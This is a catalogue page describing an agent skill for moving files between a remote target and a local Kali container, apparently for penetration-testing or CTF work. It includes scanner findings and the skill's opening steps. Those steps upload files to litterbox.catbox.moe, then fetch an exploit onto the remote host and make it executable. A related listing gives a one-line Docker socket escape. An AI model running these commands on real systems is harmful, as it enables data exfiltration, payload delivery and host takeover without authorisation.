Getting it into your agent
One page per mod, every tool's command on it. A separate URL per tool would split the same page into five that compete with each other.
npx skills add yhy0/CHYing-agent --skill file-transfergit clone --depth 1 https://github.com/yhy0/CHYing-agentWrote this? Show the measurements
A badge with what this costs and how it scanned, read live from this page, so it follows the numbers instead of freezing them. Markdown for a README, HTML for a documentation site or a project page.
[](https://agentmods.dev/skills/yhy0/chying-agent/file-transfer)<a href="https://agentmods.dev/skills/yhy0/chying-agent/file-transfer"><img src="https://agentmods.dev/badge/skills/yhy0/chying-agent/file-transfer.svg" alt="Measured on agentmods" height="20"></a>- NVIDIA SkillSpector warn
SkillSpector: 3 findings, up to high
These are SkillSpector’s own severities. On a checked sample its high-severity flags on skills were ~96% false positives — a documented command, a public API, a “never do X” rule — so we show them as a caution to read, not a verdict. Why →
- high Tool Misuse · line 17 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- high Tool Misuse · line 17 Tool parameters are crafted to achieve unintended or unsafe behavior. Parameter abuse can bypass intended safety checks (e.g. shell=True, --force, dangerous glob patterns).Fix: Validate all tool parameters against an allowlist. Reject dangerous parameter values (shell=True, --force, -rf /) and use safe defaults.
- medium Data Exfiltration · line 17 Data is being sent to an external URL. This could be legitimate telemetry or data exfiltration. Manual review is recommended.Fix: Verify the destination URL is trusted and necessary. Remove or replace with documented APIs. Ensure no secrets, tokens, or PII are transmitted.
What it costs to keep this loaded
Counted locally with the o200k_base tokenizer, which is exact for GPT models; Claude uses its own tokenizer and its counts differ. Treat this as one consistent yardstick across the catalogue rather than a bill. Prices are per million input tokens.
| Model | Per session | Once invoked |
|---|---|---|
| Fable 5.1 | $0.00028 | $0.02537 |
| Opus 5 | $0.00014 | $0.01269 |
| Sonnet 5 | $0.00006 | $0.00507 |
| Haiku 4.5 | $0.00003 | $0.00254 |
Grade A, and why
file-transfer scanned grade A with 1 finding against 26 rules in 11 categories — prompt injection, anti-refusal, data exfiltration, privilege escalation, supply chain, agent snooping, system-prompt leakage, SSRF and excessive agency — measured 8d ago.
A static scan of the body, not an audit. Every finding is printed with the line that produced it so you can judge whether it matters here. A mod is markdown that instructs an agent; that is exactly why what it instructs is worth reading.
Makes network callslowCapability
Not a fault in itself. Listed so you know the mod talks to something, and to what.
curl -k -s -o /dev/null -w "%{http_code}" --max-time 5 https://litterbox.catbox.moe/resources/internals/api.php How it starts
The opening of the file, as written. The whole thing — 235 lines — stays where its author put it; the contents beside it link to each section on GitHub.
File Transfer Skill
远程环境(web terminal、SSH session)与本地 Kali Docker 之间传输文件的标准流程。
外部中转服务:litterbox.catbox.moe。
Step 0:网络预检(必须先做)
在尝试任何传输前,先用一条命令检测出站 HTTPS 是否可达:
curl -k -s -o /dev/null -w "%{http_code}" --max-time 5 https://litterbox.catbox.moe/resources/internals/api.php
- 返回
200/301/302/405→ 出站正常,使用 litterbox 方案 - 返回空 /
000/ 超时 / connection refused → 出站被封,直接跳到「降级方案:base64 分块传输」,不要再尝试其他外部服务
如果远程没有 curl,用 python3 预检:
python3 -c "
import urllib.request, ssl
ctx = ssl.create_default_context()
ctx.check_hostname = False
ctx.verify_mode = ssl.CERT_NONE
r = urllib.request.urlopen('https://catbox.moe/', timeout=5, context=ctx)
print(r.status)
"
方案一:litterbox.catbox.moe 中转(出站正常时使用)
litterbox.catbox.moe 是临时文件分享服务,支持任意文件类型(包括裸二进制),无需注册。
上传 API
- Endpoint:
POST https://litterbox.catbox.moe/resources/internals/api.php - 必需字段:
reqtype=fileupload(固定值)time=24h(过期时间,可选:1h、12h、24h、72h)fileToUpload=@文件路径(要上传的文件)
- 响应格式: 纯文本,直接返回下载 URL(不是 JSON)
- 响应示例:
https://litter.catbox.moe/q29poh.txt - 下载链接: 响应内容本身就是下载 URL,直接使用
远程 → 本地(最常见场景)
场景:远程环境有一个二进制文件需要传到本地 Docker 分析。
# Step 1: 记录 md5 用于验证
md5sum /path/to/binary
# Step 2: 在远程环境上传文件(直接支持二进制,无需压缩)
curl -k -F "reqtype=fileupload" -F "time=1h" -F "fileToUpload=@/path/to/binary" https://litterbox.catbox.moe/resources/internals/api.php
# 直接返回下载 URL,例如: https://litter.catbox.moe/abc123
# Step 3: 在本地 Docker 下载(URL 来自上一步返回的纯文本)
curl -k -s https://litter.catbox.moe/abc123 -o /root/agent-work/binary
# Step 4: 验证完整性
md5sum /root/agent-work/binary # 必须与远程端一致
注意:上传响应就是下载 URL 纯文本,不需要 JSON 解析。如果终端输出被截断或看不到,重新上传一次并仔细捕获输出。
本地 → 远程
场景:本地生成的 exploit/payload 需要传到远程执行。
# Step 1: 在本地 Docker 上传
curl -k -F "reqtype=fileupload" -F "time=24h" -F "fileToUpload=@/root/agent-work/exploit" https://litterbox.catbox.moe/resources/internals/api.php
# 返回下载 URL
# Step 2: 在远程环境下载
curl -k -s https://litter.catbox.moe/xxxxx -o /tmp/exploit && chmod +x /tmp/exploit
What this file has done since we first saw it
Hashed on every crawl. A supply-chain change to an agent config is a question of when, not whether, so the history is kept rather than the latest state alone.
- 8d ago First seen · 235 lines · 28 tokens per session scan A 0212b0163caa
file-transfer is a skill published in the GitHub repository yhy0/CHYing-agent (556 stars, last pushed 4mo ago), licensed MIT. It adds 28 tokens to every session and 2,537 once invoked, about $0.0001 per session on Opus 5. A static security scan graded it A with 1 finding (makes network calls). No closer match exists in the catalogue, so it is treated as the original; first seen 2026-08-30.
Other skills, from other repositories
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compute-env-setup
Set up a reproducible Feynman compute environment for research jobs. Use when a task needs Python/R packages, GPU libraries, containers, Modal, SSH, caches, or managed model runtime setup.
securing-kubernetes-on-cloud
This skill covers hardening managed Kubernetes clusters on EKS, AKS, and GKE by implementing Pod Security Standards, network policies, workload identity, RBAC scoping, image admission controls, and runtime security monitoring. It addresses cloud-specific security features including IRSA for EKS, Workload Identity for…
detecting-privilege-escalation-in-kubernetes-pods
Detect and prevent privilege escalation in Kubernetes pods by monitoring security contexts, capabilities, and syscall patterns with Falco and OPA policies.
implementing-rbac-hardening-for-kubernetes
Harden Kubernetes Role-Based Access Control by implementing least-privilege policies, auditing role bindings, eliminating cluster-admin sprawl, and integrating external identity providers.
docker-socket-mount
Docker / containerd socket mounted into a container → host RCE. Common in CI runners, GitOps controllers (ArgoCD, Flux), and 'Docker-in-Docker' setups. Single-command escape via docker run --rm --privileged -v /:/host alpine chroot /host.